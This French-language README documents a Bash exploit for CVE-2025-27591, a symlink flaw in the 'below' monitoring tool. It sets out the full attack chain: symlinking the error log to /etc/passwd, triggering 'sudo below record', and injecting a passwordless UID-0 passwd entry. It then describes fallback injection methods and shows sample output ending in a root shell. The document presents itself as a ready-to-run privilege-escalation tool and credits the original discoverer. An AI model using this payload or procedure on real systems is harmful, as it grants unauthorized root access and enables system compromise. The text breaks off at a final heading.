Exploit CVE-2025-27591 - Attaque par lien symbolique du logger Below

Un exploit d'élévation de privilèges basé sur Bash ciblant l'outil de surveillance des performances système below. Cet exploit remanié exploite une vulnérabilité de lien symbolique dans le mécanisme de journalisation pour injecter un utilisateur root dans /etc/passwd, obtenant un accès root complet.

Crédits

Découvert et signalé par Matthias Gerstner @ SUSE - Avis de sécurité

Détails de la vulnérabilité

• CVE : CVE-2025-27591
• Composant affecté : /usr/bin/below (moniteur de performances système de Facebook)
• Versions affectées : versions de below avec des répertoires de journaux modifiables par tout le monde
• Type de vulnérabilité : Attaque par lien symbolique / Élévation de privilèges
• Vecteur d'attaque : /var/log/below/error_root.log → /etc/passwd
• Score CVSS : Élevé (Élévation de privilèges vers root)

Aperçu

L'outil de surveillance below enregistre les erreurs dans /var/log/below/error_root.log lorsqu'il s'exécute avec des privilèges élevés. Si le répertoire de journalisation est modifiable par tout le monde, un attaquant peut :

1. Créer un lien symbolique de error_root.log vers /etc/passwd
2. Déclencher la commande below record pour écrire des messages d'erreur dans le lien symbolique
3. Injecter manuellement une entrée utilisateur malveillante avec UID=0 (privilèges root)
4. Lancer un shell root en utilisant le nouvel utilisateur créé

Cet exploit automatise l'ensemble du processus avec des mécanismes de repli intelligents pour gérer diverses configurations système.

Diagramme de flux de l'exploit

flowchart TD
    A[Start Exploit] --> B[Get Username from User]
    B --> C{Check /var/log/below<br/>World-Writable?}
    C -->|No| D[Exit: Not Vulnerable]
    C -->|Yes| E[Remove Existing error_root.log]
    E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
    F --> G{Symlink Created<br/>Successfully?}
    G -->|No| D
    G -->|Yes| H[Execute: sudo below record]
    H --> I[Wait 3 seconds for logging]
    I --> J[Kill below process]
    J --> K{Payload in<br/>/etc/passwd?}
    K -->|Yes| M[Success Path]
    K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
    L --> N{Manual Injection<br/>Success?}
    N -->|No| O[Try Fallback:<br/>sudo tee -a]
    N -->|Yes| M
    O --> P{Fallback<br/>Success?}
    P -->|No| D
    P -->|Yes| M
    M --> Q[Verify Payload in /etc/passwd]
    Q --> R[Disable Cleanup Trap]
    R --> S[Execute: su username]
    S --> T[Root Shell Obtained]

    style A fill:#e1f5ff
    style T fill:#90EE90
    style D fill:#ffcccb
    style M fill:#98fb98

Détails techniques

Étapes de l'exploitation

1. Phase de pré-vérification

   • Vérifier que le répertoire /var/log/below existe
   • Vérifier que le répertoire a les permissions modifiables par tout le monde (o+w)
   • Tester la capacité de création de lien symbolique

2. Phase de configuration

   • Supprimer tout fichier error_root.log existant
   • Créer le lien symbolique : /var/log/below/error_root.log → /etc/passwd
   • Vérifier que le lien symbolique pointe vers la cible correcte

3. Phase d'injection (méthode principale)

   • Exécuter sudo below record en arrière-plan
   • Laisser le processus s'exécuter pendant 3 secondes pour déclencher la journalisation des erreurs
   • Tuer le processus pour éviter une journalisation continue
   • Vérifier si les messages d'erreur ont corrompu /etc/passwd de manière utile

4. Phase d'injection (méthodes de repli)

   • Méthode 1 : Ajout direct via symlink (echo >> symlink)
   • Méthode 2 : Utilisation de sudo avec tee (sudo tee -a)

5. Phase d'ouverture du shell

   • Vérifier que l'utilisateur malveillant existe dans /etc/passwd
   • Désactiver les pièges de nettoyage pour empêcher la suppression
   • Exécuter su <nom_utilisateur> pour obtenir un shell root

Structure de la charge utile

L'entrée injectée dans /etc/passwd suit ce format :

username::0:0:username:/root:/bin/bash

Analyse des champs :

• username : Nom d'utilisateur fourni par l'utilisateur (par défaut : "0xdtc")
• :: : Champ de mot de passe vide (aucun mot de passe requis)
• 0:0 : UID=0, GID=0 (privilèges root)
• username : Champ GECOS (description de l'utilisateur)
• /root : Répertoire personnel
• /bin/bash : Shell de connexion

Prérequis

• Système cible exécutant le binaire below vulnérable
• Le répertoire /var/log/below doit être modifiable par tout le monde
• L'utilisateur doit avoir un accès sudo pour exécuter below record
• Environnement shell Bash

Utilisation

Exécution de base

# Rendre le script exécutable
chmod +x CVE-2025-27591

# Exécuter l'exploit
./CVE-2025-27591

Invites interactives

========================================
  Exploit CVE-2025-27591 (Bash)
========================================

[*] Cet exploit va créer un nouvel utilisateur root dans /etc/passwd
[?] Entrez le nom d'utilisateur pour le nouvel utilisateur root (par défaut : 0xdtc) : monutilisateur
[+] Nom d'utilisateur utilisé : monutilisateur

Exemple de sortie

0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
  Exploit CVE-2025-27591 (Bash)
========================================

[*] Cet exploit va créer un nouvel utilisateur root dans /etc/passwd
[?] Entrez le nom d'utilisateur pour le nouvel utilisateur root (par défaut : 0xdtc) : 0xdtc
[+] Nom d'utilisateur utilisé : 0xdtc

[*] Vérification de la vulnérabilité CVE-2025-27591
[+] /var/log/below est modifiable par tout le monde
[*] Test de création de lien symbolique
[+] Test de lien symbolique réussi
[+] La cible est vulnérable

[*] Début de l'exploitation
[+] Charge utile écrite dans /tmp/exploit_payload
[*] Création du lien symbolique : /var/log/below/error_root.log -> /etc/passwd
[+] Lien symbolique créé
[*] Exécution de 'sudo below record' pour déclencher la journalisation
[*] 'below record' démarré avec PID : 12345
[*] Vérification si la charge utile a été écrite
[*] Tentative d'injection manuelle
[*] Ajout de la charge utile à /etc/passwd via le lien symbolique
[+] Charge utile ajoutée
[+] Exploitation terminée ! La charge utile est dans /etc/passwd
[*] Ouverture du shell root via 'su 0xdtc'
[*] Le mot de passe doit être vide, appuyez simplement sur Entrée

root@kali:/tmp# whoami
root

Fonctionnalités

Gestion intelligente des bloqueurs

Le script inclut plusieurs mécanismes de repli pour gérer diverses configurations système :

1. Gestion des fichiers existants

   • Détecte et supprime automatiquement les fichiers journaux existants
   • Gère à la fois les fichiers normaux et les liens symboliques existants
   • Valide la cible du lien symbolique avant de procéder

2. Méthodes d'injection multiples

   • Principale : Déclenchement via la journalisation d'erreurs de below record
   • Repli 1 : Ajout direct au lien symbolique
   • Repli 2 : Écriture privilégiée avec sudo tee

3. Gestion des processus

   • Tue automatiquement les processus below bloqués
   • Empêche l'épuisement des ressources
   • Gère le nettoyage des processus en cas d'échec

4. Détection de réexécution

   • Vérifie si la charge utile existe déjà dans /etc/passwd
   • Ignore l'exploitation si l'utilisateur a déjà été créé
   • Ouvre directement le shell lors d'une nouvelle exécution

Fonctionnalités de qualité du code